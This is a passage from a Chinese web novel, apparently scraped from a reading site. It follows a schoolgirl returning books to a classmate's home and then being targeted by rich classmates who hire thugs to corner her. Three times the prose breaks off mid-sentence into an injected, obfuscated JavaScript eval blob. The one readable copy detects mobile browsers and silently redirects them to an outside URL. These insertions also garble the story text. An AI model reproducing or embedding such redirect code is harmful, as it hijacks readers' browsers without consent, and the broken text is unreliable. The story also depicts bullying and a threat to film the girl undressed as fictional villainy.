他们一家人的眼睛都长的很漂亮,父亲时澄江眼窝深邃,目若寒潭,严肃沉稳又暗藏锋芒;母亲林茵陈眼如春水,盈盈动人,温婉且柔情。 两人的儿子时准,很好地结合了父母双方的优点,拥有一双十足貌美的桃花眼,眼窝深、瞳孔黑,眉骨立体突出,眉毛的颜色和瞳仁一致。 虽然是桃花眼,但因为其他五官长得太乖太端正了,所以并不没有半点轻佻或风流的气质,反而是看垃圾桶都深情。 一种阳光、坦诚、且正直的深情。 床边的窗户没关,空气浮动着深秋将至的凉意。 最后一个故事同样很短,没两分钟时准就扫完了。 “从此,两人就幸福地生活在一起”的末尾之下,是一幅卡通插画,面对公主单膝下跪求婚的骑士脸上被用铅笔打了一个大大的叉,而头顶却添了个尖顶王冠。 旁边还有一句话,同样是铅笔写的,笔触工整但极其稚嫩,每个字都又大又方—— 【公主只能和王子在一起】 幼稚死了。 时准勾唇一笑,动人的桃花眼微微弯起,宛若井底晃动的月影。 这些笔迹应该是温初夏小时候写的。 能写出这么幼稚的话,那这本书应该是她多少岁的时候读的? 六岁吧,不能再多了。 六岁的温初夏,会是什么样子的呢? ……应该,会和时淼更加相似吧。 想到这点,时准唇角落回,心里浮起一点淡淡的情绪,和困意混杂在一起,有种说不清道不明的忧愁。 他把书放在床头柜上,关灯睡觉。 . 第二天。 清晨明媚的阳光透过遮光效果不佳的窗帘,照到床上缩成一团的温初夏身上,直接把她给亮醒了。 起床后,温初夏觉得格外疲惫。 昨晚开的求助贴后期歪楼歪到了外太空,百十来个用户同时在楼里上蹿下跳,又是求爷爷告奶奶要资源的,又是看热闹不嫌事大,来采访她这个受害者的“中奖感言”的。 更有胆子肥的,直接私戳问她和男二发展到哪一步了,各种道具都上了没。 气的温初夏干脆新开了个楼,立下豪言壮语,说自己必能阻止男二黑化,让他们睁大眼睛等着瞧吧。 现在flag帖的热度,已经顶到全论坛第二了。 于是乎,就有越来越多的人知道,一个ID名为“组团炸系统”的守护者,不仅同时穿到了三本小说里,而且其中的一篇还是簧文。 心累,真的好心累。 温初夏恨不能仰天长啸:谁能给她这个铁血纯爱党换个正常点的剧本啊啊啊啊! 简单吃过早餐后,温初夏一整个上午都在写各科老师布置的周末作业,手速快的飞起。 之所以这么赶,是因为下午她有个剧情要走,要和《等风说雨停》的男三李确打个照面。 原著中李确和温初夏是青梅竹马,两人从小一起长大一起上学,中考结束后,又同样以特优生的身份进入清荟念书。 虽然都是特优生,但李确的家庭条件比温初夏要好得多,至少是小康水平。 只可惜这孩子命不太好,父母早逝,给他留下一笔可观的遗产后就撒手人寰了。 李确从此与爷爷一起生活,祖孙俩相依为命,靠着李确父母留下的财产和退休金生活,日子过得倒也顺遂。 李确的爷爷退休前是大学文学系教授,家里有很多藏书,原著中温初夏经常去他家借书看。 界面融合后,系统砍掉了温初夏和李确从小一起长大青梅竹马的关系,改成两人是在参加清荟的招生考试时认识的,但借书的情节还保留着。 今天下午温初夏就是去他家还书的。 昨天的扭伤本来不算严重,但因为扭到的地方原本就有旧伤,所以当时看起来情况是惨了点,经过半天的修养后,已经好了不少。 温初夏把之前借的四本书放进书包里,拉链拉到一半忽然想起什么,又重新打开,把里面的《悲惨世界》拿出来。 这本书前几天被周雅宜当坐垫使过,温初夏觉得如果直接还给李确的话有点不合适。 虽然他并不知情,但自己会忍不住替他觉得膈应,所以就用纸巾把书擦了一遍,再喷了点香水,才重新放回包里。 李确家也住在这一片,位于整个居民区的西南角,而温初夏在东北角。 居民区里的小路弯弯绕绕,温初夏拖着不太利索的右腿,磨磨蹭蹭走了快二十分钟,才到达他家门口。 青铜色的大铁门半开着,温初夏没敲,直接试探着轻轻把门推开。 嗖! 开门的瞬间,一只飞镖一闪而过,钉在了门口墙壁上挂着的靶子正中心的红色小圆点。 温初夏下意识愣住:哇,准头挺好的嘛! “温初夏?” 门内,一个少年惊讶地探出头来,他穿着一件胸前印有小猫头的白色休闲卫衣,灰色运动裤,脚下踩着拖鞋,脚踝挺细。 他的长相完全是清秀的代名词,身形颀长,眸浅齿白,发丝轻盈又蓬松,气质干净柔软的像一朵毛绒绒的蒲公英。 李确把飞镖拔下来,走到门口,问:“你来还书啦?” 温初夏把书包肩带卸下来一边,说:“对,我……” 她刚开一口,屋内就传来一道苍老但中气十足的声音:“确啊,是谁来啦?” 李确扭头朗声道:“是我同学,来还书的。” “哦,是同学啊,那你赶紧请人家进来吧,门口风大。” 李确立马弯腰给温初夏拿拖鞋。 温初夏忙拒绝:“不了不了,我就是来还书的,就不进来打扰了。” 但李确还是把一双米色拖鞋放在了地上,客客气气地笑着:“这有什么打扰的。再说了,你还了书就不想再借几本新的吗?正好,进来自己挑吧。” “那,好吧。” 温初夏不再推辞,弯腰换鞋。 李确家的装修风格有种上世纪八十年代的感觉,四面单调的白墙挂着大幅的刺绣和字画,桌椅柜子之类的家具全是实木的,黑屏的电视机盖着白色蕾丝罩,让人一看就知道,这家里有老人。 此刻,这位老人正坐在客厅中央的轮椅上,和蔼可亲地和温初夏打招呼:“小同学好啊,你吃午饭了没有?” 上了年纪的人打招呼总爱问这个问题。 老爷子头发花白,慈眉善目,虽然腿脚不便坐着轮椅,但气色却很不错,让温初夏心里下意识升起了一丝亲近之意。 “爷爷好,我已经吃了。” 她坐在沙发前四分之一的位置,两腿拘谨地并拢,把书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老爷子十分遗憾地“哎呀”一声,把手里俩核桃啪地放在旁边桌上,搓着手对温初夏说:“刚才准头没瞄好,大闺女,你去帮爷爷把飞镖拿出来,我再试一次。” 温初夏沉默地看着那只插着飞镖的皮鞋,内心挣扎两秒,起身说:“爷爷,我听见李确在叫我进去挑书,您先等会儿啊。” “诶?” 她溜得太快,老爷子没能叫住她。 进入书房,温初夏看到的第一幕,就是李确手里拿着那本被周雅宜坐过的《悲惨世界》,低头,鼻尖凑近闻了闻。 咦——! 她顿时一阵恶寒,后背汗毛都竖起来了。 “你在干嘛???” 这爷孙俩怎么一个赛一个的不正常! 李确这才注意到温初夏进来了,因为不明白为什么她反应这么大,白净的脸上表情有些懵逼,眨眨眼解释说:“哦,我发现这本书上有股香味,有点好奇所以就想仔细闻一闻。怎么啦?” “没、没怎么。” 温初夏真后悔出门前多此的那一举,双手合十,忏悔中带着心塞:“有香味是因为我之前不小心把香水洒到了上面,真的很抱歉。” “没事,你又不是把书弄破了,不用道歉的。” 温初夏道歉道的这么诚恳,倒让李确有些没来由的小尴尬。 他把《悲惨世界》放到一旁,温和地对她说:“你自己看着再挑几本吧。” 李确家里最大的房间就是书房,四排几乎等房间长的书架排排站立,靠窗的墙边还有两个小的,简直跟迷你图书馆一样。 温初夏随便抽了三本,放进书包里,然后就在门口和李确说再见了。 轮椅上的老爷子见她要走,立刻大声道:“欸大闺女,这就走啦?飞镖你还没给爷爷拿过来呢。” “飞镖?” 李确闻言左右看了看,没找着,问:“在哪儿呢?” “那儿呢。” 温初夏略带嫌弃地往他身后的鞋架一指,提醒说:“掉鞋子里了。” 李确扭头一看,还真是。 哪怕作为孙子他也忍不住无语了:“爷爷,你怎么又乱玩飞镖啊,还让人家客人帮你捡,你那准头有多差你自己心里没点数吗。” 老爷子一听顿时不服气了,哼哼道:“这就帮着外人教育自己亲爷爷来了,果然是男大不中留啊……” 李确耳廓一红,忙对温初夏歉意地笑笑,慌乱地解释说:“你别理他,我爷爷他就是这个性格,他这么说是在开玩笑呢,你别放在心上。” “不会的。”温初夏完全没在意,也笑着道:“你爷爷挺有意思的,我感觉说不定我老了之后也会这样爱开玩笑。” “你们不给我捡啊?看来只能我自己捡喽。”说完,老爷子水灵灵从轮椅上起身,步伐稳健地走过来,把飞镖从鞋里拿出。 温初夏目瞪口呆,失声道:“爷爷!您不是腿脚不便吗??” “你才腿脚不便呢!” 老爷子握着飞镖,挺直胸膛理直气壮:“我坐轮椅单纯是因为觉得轮椅坐着好玩儿,能两手抡着到处跑,你这个小丫头可别咒我啊。” 温初夏哑口无言:“……” 这小老头,活人气息未免也太重了吧! 李确看不下去了,忙把温初夏送下楼。 送完回来,他又进了书房,想把那本《悲惨世界》放回之前的位置。 但书皮散发的香味实在太浓郁了,清清甜甜的奶油桃子,给李确都有点儿整馋了。 他忍不住低头又闻了闻,然后打开一页。 里面竟然夹着张小卡片—— 白色卡纸上谈兵用圆珠笔画了一个表情凶凶的库洛米,下面写着一行字: 【别以为你这样我就会放过你】 李确:? 我怎样了??? 8. 第 8 章 周一。 食堂。 “我问你,小熊剪完指甲叫什么?” 温初夏不假思索:“小能。” 见她这么容易就答出来了,举着夹子的师傅失望地“哦”了一声,扭头瞅了眼油锅里滋啦冒泡的猪排,金黄色的泡沫密密麻麻,显然是还没到火候。 “该你了,要是我没猜出来,就满足你,把这块儿猪排给你切成24小块。”他说。 “一言为定哦。”温初夏背着手,问:“为什么白雪公主会命运坎坷?” “白雪公主……” 师傅想了想,猜测:“因为魔镜说实话惹王后生气了?” “不不不,因为她身边小人太多了——白雪公主和七个小矮人嘛。” 师傅哈哈笑了几声:“你这个笑话可比我的冷多了。” 他转身去捞炸猪排,语气有些犯难:“行吧,考验我刀工的时候到了,24块,让我看看要怎么下手啊……” “您横着切三刀竖着切五刀就行了。” “欸,是哦,正在上学的脑子就是灵光哈。” 温初夏拿了套餐具,端着餐盘往靠边的空座位走去,刚坐下,面前就出现了一个人。 造作的发型,不羁的面庞,不是季明轩还能是谁。 “嗨嗨嗨!” 他大马金刀往对面的凳子上一坐,一条长腿踩在凳子之间的铁杆,胳膊顺势搭在膝盖上,跟地痞流氓似的。 温初夏拿着叉子的手一抖,而是四分之一块猪排差点儿飞出去,没好气道:“我说你能不能别这么一惊一乍的,下次再这么突然冒出来吓人别怪我控制不住我的巴掌。” 季明轩敷衍地说“知道了知道了下次注意”,然后就进入正题,好奇地问: “你周六晚上和周雅宜发生了什么啊?我昨天去她家,发现她脸色特别差劲,黑眼圈都要掉地上了,问她怎么了她也不肯说,一提到你,就立马让我闭嘴。我猜你俩之间肯定有猫腻,说来给我听听呗?” 温初夏把一块猪排放进蘸料小碟里蘸蘸,深褐色的酱汁表面浮现出一层薄薄的油脂,送到嘴边咬了一小口,含糊道:“猫腻没有,我就是‘请’她玩了场恐怖版的鬼屋密室逃脱。” “我靠?你牛啊!” 季明轩看温初夏的眼神瞬间充满敬佩,又问:“不过周雅宜那个女人最怕鬼了,我很好奇,你是怎么请动她的?” “不是真请。” 温初夏懒得跟他细说,简明扼要道:“原本是周雅宜她们想坑我,被我提前知道了,所以我就稍微用了点儿小手段,成功让她们自讨苦吃,搬起石头砸自己的脚。” 虽然温初夏没细说到底用了什么手段,但季明轩也能根据周雅宜那天的状态猜到,她肯定是被温初夏整惨了! 一回想起周雅宜当时的脸色,季明轩就身心舒爽,紧接着又为温初夏感到担忧,他放下腿道: “那你可算是彻底得罪周雅宜,和她身边那群女生了,她们绝对会找你报复回来的,但你不用担心……” 他话锋一转,拍拍胸脯保证:“以后我来罩你,绝对不会让你受她们欺负的。” 温初夏一脸“关爱智障儿童的表情”注视着他,嘴角缓缓扯出一个怀疑且嘲讽的弧度:“你怎么罩我呀?” “我怎么就没法罩你了!” 听出她话里的不相信,季明轩言之凿凿道: “我跟你一个班的,以后她们要是敢在班上欺负你,我就第一个冲出来替你出头;要是她们想在校外欺负你,我就放学后亲自送你回家,反正咱们学校下午就放不上晚自习,我家又有司机专门接送,顺道送送你,不算麻烦事儿。” 温初夏表面冷漠,心里呵呵:孩子,给自己加戏呢?这些都是以后男主男二的活儿,关你一个小小的男四什么事? 季明轩哪儿知道她心里在偷偷进行咖位歧视,自顾自接着道: “但毕竟咱俩男女有别,我也不可能每天24小时地盯着你,所以你自己也得放机灵点儿。” “我不在你身边的时候,你私下碰见周雅宜她们就赶紧躲——欸你这是什么眼神啊,中国有句古话说得好,三十六计走为上策,你看看你这小胳膊小腿瘦的,打不起咱躲还不……” “季明轩。” 身后冷不丁飘来一道声音,季明轩吓了一跳,扭头一看,下一秒整个人直接从凳子上弹射起飞,一屁股蹦到了桌子上。 温初夏赶紧把餐盘挪远了点儿,保护好自己的美味午餐。 为了掩盖黑眼圈,周雅宜上学前特意在眼下铺了层厚厚的遮瑕液。 黑眼圈是遮住了,但气色也遮没了,一张小脸惨白惨白,悄无声息往人身后一站,效果别提多惊悚。 季明轩就被吓到了,哆哆嗦嗦道:“你你你、是人是鬼啊??!” 给周雅宜气的,指着他的鼻子就开骂:“季明轩,你真行啊你,胳膊肘往外拐你知不知道我生日那天晚上她是怎么整我的?你居然还给她出主意??到底谁才是你姐姐?!!” 季明轩人怂嘴不怂,反驳道:“那也是因为你先欺负的人家啊。温初夏之前又没招惹过你,你就又是阴阳怪气,又是踩人凳子坐人桌的。我要是她,我我我、我肯定比她整得更过分!” “好啊你,敢这么和我说话,你信不信我一会儿就把这件事告诉舅妈,让她好好收拾你。” 周雅宜要气死了,虽然两人从小就爱互呛,但他毕竟是和自己有血缘关系的亲表弟,不帮自己说话也就算了,居然还反过来去帮自己的仇人。 “告就告,谁怕谁啊。”季明轩破罐破摔,“那我也把你在学校是怎么欺负同学的事告诉大姨,看咱俩到底谁会被收拾。” “你!” 周雅宜气急败坏,伸手就要把季明轩从桌上给揪下来。 温初夏怕他俩打起来把自己的炸猪排饭给掀翻了,不重不轻地敲敲桌子,“诶——” 周雅宜闻声看向她,脸色非常难看:“干嘛?有事等会儿再说,我先收拾了他再来收拾你!” 就凭你着片小绿叶子? 温初夏轻蔑地笑笑,漆黑的眼珠一动不动盯着周雅宜,故作关怀地问:“这两天晚上睡得怎么样?有没有梦见一些……特别热情、特别可爱的东西?” 正午明媚的阳光透过玻璃洒在她身上,周围明明是一片澄澈的暖意,这双黑白分明的明亮双眼也是笑着的,泪痣生动,宛如灿烂的光斑。 但周雅宜却觉得后脊生寒。 脑海里不受控制地闪过周六晚上的画面,以及这两天晚上连续做的噩梦。 “……” 周雅宜咽了下口水,苍白的脸色变得更难看。 她从唇缝里挤出几个字:“你、等、着。” 说完,就转身离开了。 温初夏并不把周雅宜的狠话放心上,继续享用她的午餐,吃完后就准备回教室睡午觉。 教室在六楼,但季明轩却非拉着她来到八楼,和他一起鬼鬼祟祟地站在一间平时不常使用的小型会议室门口,听墙角。 “人我已经联系好了,俩男的,小混混,今天下午放学后会在温初夏回家的必经之路上蹲点。除非她一晚上不回家,否则这次她绝对躲不掉。” 会议室内,苏筱筱站在门口第一排座位后面,靠在椅背上,漫不经心地涂着润甲油,表情淡漠。 “不愧是筱筱,就是利索!” 张紫凌给她点赞,随即又冷笑道:“让她敢惹我们,今天一定要狠狠给她一个教训,把上周的账连本带利地算回来。” 周雅宜还白着张俏脸,问:“筱筱,你是怎么跟那两个人说的?” “就,按照一般流程来呗……” 苏筱筱顿了顿,眼神有些飘忽地看向别处,揉着指甲缝道:“我让他们堵到温初夏之后先把她带到没人的地方,吓一吓她,然后让她跟我们道歉,拍道歉视频。” “啊?就这啊?”叶彤不满意地撅起嘴,“这也太小儿科了吧,我们那天可差点儿被吓死欸!不把温初夏也整到屁滚尿流,太亏了吧。” “就是就是!”张紫凌深表赞同,“要我说,除了今天下午趁放学之后让小混混去堵她之外,以后至少还要再整她两三次才够。” 李书雪坐在第三排的位置,刚才其她人说话时,她始终都一脸心神不宁地抱着手机,也不知道在想什么。 直到这时,她才仿佛从噩梦中惊醒一样,开口发表意见: “我觉得我们最好也别太过,温初夏可是阚春兰心尖上的宝,如果她去告老师的话,那……” “噗嗤。” 张紫凌笑出声,娇声道:“哎呀小雪,你怕什么啊,她什么身份我们什么地位?就算温初夏真跑去告老师,学校也不会重视的。你忘啦,筱筱的爸爸可是清荟最大的校董,哪个老师敢处罚到我们头上?” 经她提醒,叶彤忽然来了灵感,看向苏筱筱,说:“欸筱筱,你能不能让你爸取消学校给温初夏发的奖学金啊?她家里那么穷,没有奖学金支撑,应该撑不了一个学期就会退学吧?” 苏筱筱眼睛一亮,拍手道:“好主意!回去我就问问我爸,看能不能随便找个什么理由,断了温初夏的奖学金。” 闻言,李书雪的一双手顿时将手机握得更紧,倒不是因为同情温初夏,而是怕她被整惨之后,会把自己穿假裙子的事情抖落出去。 虽然那条裙子回家后就被她扔了,宴会期间每次拍照,她也特意把手臂遮在腰间,温初夏没有证据能证明,自己当时穿的是假货。 但她,依然很担心。 这两年家里公司运营遇到了困难,尽管父母没有告诉李书雪家里到底落败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“这个还是算了吧。温初夏她那天虽然很过分,但也只是吓了吓我们而已,没做什么其他事情。可我们如果真把她的奖学金断掉了,那就相当于把人往绝路上逼,不合适。” 一听这话,苏筱筱立马有些不高兴,但碍于情面没有直接表示出来,而是皱了皱眉,说:“雅宜,你可别忘了,温初夏那天还害我和小雪掉进了泳池,我俩的衣服鞋子统统都报废了,这怎么着加起来都有两三万吧?” “两三万块钱对我们来说又不算什么,但对温初夏来说,可能是她一年的生活费。” 周雅宜看着苏筱筱,语气放软了些:“筱筱,我说这话不是想给温初夏开脱,只是觉得,一仇报一仇,我们不能太过分。” “对。”李书雪忙举手表示赞同,“我也这么觉得,狗急都会跳墙呢,更何况温初夏还是个疯女人,万一她气疯了真来咬我们怎么办?” 见五人里有两人都反对,苏筱筱暂时不再继续坚持这个提议了,鼻子出气,道:“那先看看她今天下午会不会老实和我们道歉吧,之后要怎么整她,之后再说。” 里面密谋的差不多,听起来应该是要散会了,门外的季明轩赶紧拉着身边人往消防通道跑。 温初夏右脚还没好利索,被季明轩这倒霉孩子不打一声招呼地拉着狂奔,没跑几步脚踝就又开始隐隐痛起来。 她压低声音叫道:“慢慢慢点儿!” 但季明轩怕被周雅宜她们出来发现了,速度一点儿没带减的,直到跑进了消防通道,才终于停下,松开手。 他转身,看温初夏扶着墙一脸痛苦,微微喘了口气,诧异道:“你身体素质好差啊,这才跑几步?” 温初夏不想让太多人知道自己有隐疾,闻言只是白了他一眼,胸闷气短道:“你再说小心疯女人咬你哦。” 季明轩笑了笑,但想起刚才偷听到的话,嘴角又落了回去,对她说:“你别怕,今天下午放学之后我陪你回家。” “不用。” 温初夏挺直背拒绝:“我自己能解决。” “你怎么解决?” 季明轩不相信地看着她,语气轻慢:“你这身体素质连逃跑都够呛,这种时候就没必要死要面子了吧?” “我虽然成绩不行,但打架可是一把好手。两个小混混而已,到时候我一拳一个,保证把他们揍得以后见了你绕着走。”季明轩狠狠握拳。 温初夏见他一脸正气凛然的兴奋,知道这孩子正上头,自己改变不了他,只好勉强答应了。 …… 下午最后一堂是数学,冯老师上完课刚离开,季明轩就火速开始收拾东西。 十秒不到,他把轻飘飘的书包往肩上一扔,转头却发现,后门处温初夏的位置已经空了。 操! 他一拍脑门。 人呢?!!! 9. 第 9 章 五分钟后,教室另一边。 周雅宜捂嘴打完今天的第153个哈欠,懒唧唧收拾好书包,从座位上站起来,一转身,居然发现时准就站在三班教室门口。 她立马精神一震,人不困了,脚也不软了,背上书包,快速绕过几个碍事的凳子,来到时准面前,脸上扬起一抹羞涩的笑。 “时准,你找我啊?” “嗯。我们出去到走廊上说吧。”时准扯了下书包带。 周雅宜努力压制住想往上翘的嘴角,有点儿后悔今天偷懒没画个全妆,失策了失策了。 她跟在时准身后,二人一起来到外面的走廊。 “你和温初夏是在闹别扭吗?” 没想到时准第一句话,就把周雅宜脑海里酝酿出的粉红泡泡挨个击得粉碎。 她嘴角肌肉一松,觉得“闹别扭”这个形容貌似有点程度不够,但还是点了下头,目光落在楼外郁郁葱葱的梧桐树上,反问:“你怎么知道的?” “你生日那天她告诉我的。她还说,她想亲自和你道歉,但……” 什么?! 周雅宜转头看着时准,大大的眼睛大大的震惊:“温初夏那天想和我道歉??!” 时准见她这么惊讶,表情也有些迟疑。 难道,那天温初夏还没来得及把道歉的话说出口,就被周雅宜“追杀”了? 如果真是这样的话,那周雅宜现在的脾气确实有点太大了。 两人从小一起长大,时准是真的把周雅宜当做妹妹看待。回想起那个曾经整天跟在他屁股后面,叫他“阿准哥哥”的小女孩,真是天真烂漫又善良。 而现在,居然欺负起同学来了。 “雅宜。” 时准不由得严肃起来,虽然音色还是如往常一般温润,但眉心微蹙,低沉的语气虽算不上严厉,却也足够让周雅宜感到心惊。 于是她下意识站端正了。 时准:“我不知道你和温初夏之间到底发生了什么,但通过那天的相处,我能感觉到她不是个不讲道理的人,你也不是,所以我希望你能找个机会和她谈谈,误会解除了才能重归于好,继续做好朋友。” 周雅宜:“……” 她满脑袋小问号—— 唉不是,我和温初夏什么时候好过了?我们一直都是宿敌,是针尖对麦芒的宿敌好吗! 你这是从哪儿听到的虚假新闻啊!!! “你生日那天她脚扭伤了,我正好遇到就送她回家,顺便知道了一些她家里的事。虽然背后说人隐私不好,但,温初夏家里的情况和你其实挺相似的,她爸爸也……” 时准隐晦地顿了顿,继续道:“就是因为这个原因,她才会独自一个人住在学校附近,靠奖学金生活。” 听到这儿,周雅宜梗塞了两天的心肠忽然软了下来,但又碍于面子不想承认,抱着胳膊,眼神别扭地看向别处,嘀嘀咕咕: “那她也不能在我生日那天那样对我啊,我才不要原谅她呢……” 时准又道:“而且她还给你准备了生日礼物。只不过不好意思当面送给你,所以拜托我转交,你看。” 说着,他把背后的书包转到身前。 周雅宜直愣愣盯着时准从包里拿出来透明亚克力塑料盒,里面的东西,正是她前段时间想特别集齐,但一直手气不好没抽到的库洛米隐藏款盲盒。 “她怎么知道我喜欢库洛米的?!” 周雅宜经常在朋友圈晒她买的各种库洛米周边,头像也是库洛米,但温初夏又没加她微信,怎么会知道? 时准见周雅宜这副表情,知道自己是把她说动了,神色又恢复到往日的温煦,浅笑着说:“你俩一个班的,应该是她平时留心观察出来的吧。” 周雅宜哑口无言地看着手中的库洛米愣神,脑子里一团乱麻。 温初夏她真的,这么关注我吗? 可我之前明明一直在欺负她呀,虽然也没有很过分,只是冷言冷语冷眼多了点,上周当众坐她桌子就已经是最过的一次了,但…… 等等! 周雅宜忽然悟了。 难道温初夏终于认识到了她之前的错误,所以想向自己服软道歉啦? ——如果真是这样的话,那绝对不能让她一会儿被小混混堵了啊! 周雅宜连忙把库洛米手办胡乱塞进自己书包,唰地拉上拉链,对时准说:“谢谢你告诉我这些,我突然有急事,先走了。” 看着她慌张离去的背影,时准叮嘱道:“记得找温初夏谈谈啊。” “知道辣——” 一跑出时准的视线范围,周雅宜就立刻掏出手机,给苏筱筱打去电话。 她语速飞快:“喂筱筱,你赶紧让那两个小混混先撤了,我觉得在对温初夏实施打击报复之前,我得先跟她聊一聊,感觉我们和她之间好像有些误会。” “误会?能有什么误会?” 隔着电话,苏筱筱本来就偏尖的声音变得更显尖锐: “那晚我们都被吓成那样了,我还掉进了泳池里,我不觉得这是误会。你刚才是不是听谁说些什么了?” “难道是温初夏知道我们的计划,所以来向你求饶了?”她猜测。 “哎呀不是,你听我说……” 周雅宜一着急就习惯跺脚,然而下一刻,她察觉自己身下突然有一股暖流涌出。 怎么偏偏这个时候来姨妈啊! 周雅宜赶紧转身往女厕走,同时对苏筱筱说:“反正你先让那俩蹲点的别蹲了,报仇的事等我找温初夏聊了之后再说。” 但苏筱筱却咬死不肯松口,说话的语气也不同于往日小姐妹之间的亲厚,而是十分的淡漠: “雅宜,那天又不止你一个人被温初夏坑了,我那双羊羔皮的鞋子可难买了,才穿过一次,被水一泡直接就报废了。不管你和温初夏怎么谈,谈成什么样,我都是不会放过她的,言尽于此。” “可……” 周雅宜停在厕所门前,刚要再劝,耳边就传来电话挂断的忙音。 她只能先进厕所垫上卫生巾,出来后,正巧看见温初夏站在楼外的停车场边,对着漏气的自行车一脸牙疼。 周雅宜惊喜万分,赶紧下楼去找她。 与此同时,楼外。 “靠……” 蹲在自行车旁的温初夏撑着膝盖站起来,白眼快翻到天上去了。 这群小女生是大小姐当太久了没常识吗?想让她骑不了自行车,直接拔气门芯不就行了吗,干嘛要拿刀扎轮胎啊,人家轮胎难道不会疼吗! 温初夏烦躁地踢了可怜的自行车一脚,转身往校门走去。 下楼后,周雅宜发现温初夏人已经不在原地了,焦急地用目光四处搜寻,很快就发现了她的身影,朝她跑了两步后又停下来,还是用走的。 周雅宜有月经不调的毛病,特别是在姨妈刚来的时候,但凡吹了一点风受了一点寒,不出五分钟,绝对痛得冷汗直冒死去活来。 现在恰好有微风吹过,所以她不敢跑。 周雅宜一路跟着温初夏出了学校,两人之间的距离原本不算远,但在周雅宜倒霉地连续错过三个红绿灯之后,距离逐渐越拉越开。 所以哪怕温初夏走得不快,慢慢悠悠跟散步似的,周雅宜也还是追不上她。 也就是在这段时间里,周雅宜刚才在决定原谅温初夏时一瞬间迸发出坦诚和勇气,如同松了绑的气球,越来越小。 并且,她的小腹已经开始隐隐作痛了。 忽然,周雅宜远远地看见,前面的温初夏被两个男的拦住了。 糟糕!这下不跑是不行了。 周雅宜心说自己豁出去了,管它什么风萧萧兮易宫寒,反正大姨妈又不会真痛死我,两手紧紧捂着肚子,拔腿就开跑。 她咬牙跑了四五十米,如同一头莽撞又胆大的小犬,张开双手挡在温初夏身前,额头冷汗淋淋,嘴唇更是血色全无,对面前这俩色彩各异的精神小伙说: “你们别动手!我跟联系你们的人是朋友,她让你们赶紧走,钱我会给你们的。” “你怎么来了?” 周雅宜闻声回头,看见温初夏不知道啥时候买了根巧克力雪糕,拿在手里啃到一半儿,正凉飕飕冒着冷气。 她瞳孔皱缩,脱口而出:“都这个时候了你还吃什么雪糕?!!!” 甜腻的巧克力香钻进鼻子,看着这种生冷的食物,周雅宜瞬间觉得肚子更疼了,眉头紧锁,又放低声音对温初夏道:“你别说话,我是来救你的。” 她回头,左边的小黄毛怀疑盯着她,问:“你和联系我们的人真是朋友?” “当然了!” 周雅宜痛的有些想吐,一心只想速战速决,语气十分急切:“她是电话还是微信联系你的?如果是微信的话,那她的头像是一个黑长直的动漫女性角色。” 见他俩没说话算是默认了,周雅宜再次催促说:“你们赶紧走吧,钱我会……” “可她刚刚才给我发了消息,让我们不要手下留情,喏。” 右边的小蓝毛把一段微信聊天记录举在周雅宜面前,给她看。 【人堵到没?记得带到巷子里别被路人看见了,也别看她长的好就手下留情】 【视频如果能脱了她的衣服拍,脱一件,报酬翻一倍】 周雅宜因心脏剧烈跳动而微微喘着粗气,不可置信地结巴道:“怎、怎么可能……” 苏筱筱怎么能这么狠,还要让他们脱温初夏衣服?!明明中午的时候还只是说要温初夏道歉而已啊! 聊天记录里冷冰冰的语气,让周雅宜忽然对这位相识多年的好友感到陌生。 小蓝毛看她一副身娇肉贵的千金小姐样儿,脸色还差得离谱,上前一步,流里流气地转着手里的小刀,说话时露出一口黄牙:“美女,麻烦你让一让,我们的目标不是你,一会儿动起手来,伤到你就不好了。” 周雅宜从小被家里人保护得好好的,这还是她第一次被人拿刀恐吓,虽然吓得两腿发抖,但却依然没有挪开半步。 她咽了咽口水,反手哆哆嗦嗦从书包夹层里掏出手机,声音无比紧绷:“你们等等,我现在就给她打电话,问问她到底是怎么回事。” 然而电话刚打过去,就被对方挂了。 周雅宜不信邪,立刻再打,结果又挂了。 肚子越来越疼,两条秀气的眉毛快皱的快要连在一起,周雅宜还欲再打,但面前的两个毛已经彻底不耐烦了。 叼着杂牌子香烟的小黄毛把烟从嘴里拿出来,扯出一条晶莹剔透的口水丝。 温初夏心里一阵恶寒,不动声色地把雪糕往下拿了点。 黄毛丝毫没察觉自己表演了个口水拉丝,自以为很屌地把烟塞进牛仔裤狭窄的口袋里,拖着个破锣烟嗓对周雅宜说:“小美人儿,再不走,当心我们连你一块儿收拾。” 周雅宜双腿连着小腹,小腹连着肩膀,肩膀连着双手,手里抱着手机,都在一起打抖,她肚子痛到连正常说话都非常艰难了: “你、你们等等,等我找她问清楚了再……啊!我的手机!” 小黄毛举起粗糙的小黄手往上一掀,周雅宜只觉得手中一空,眼前一晃。 下一秒,最新款苹果手机就以自由落体的加速度重重砸在了地上,前后两边的屏都碎成了蜘蛛网。 周雅宜七窍生烟:“你!” 眼看这位大小姐又要气的拿手指人,温初夏赶紧揪着她的衣领把她往自己身后一拎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502000|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时朝旁边的烧烤店里使了个眼色。 “你怎么了?脸色这么差?” 温初夏转身面对周雅宜,看着她惨白惨白的小脸,食不知味地咬了口雪糕,心想她就算胆只有指甲盖那么小,也不可能憔悴这样吧,看着跟低血糖犯了似的…… 温初夏很少后悔,但此时却是实实在在有点小后悔,不多,就一点点—— 早知道就不加那个纸扎人了。 她又咬了口雪糕。 “欸你别吃了!!!” 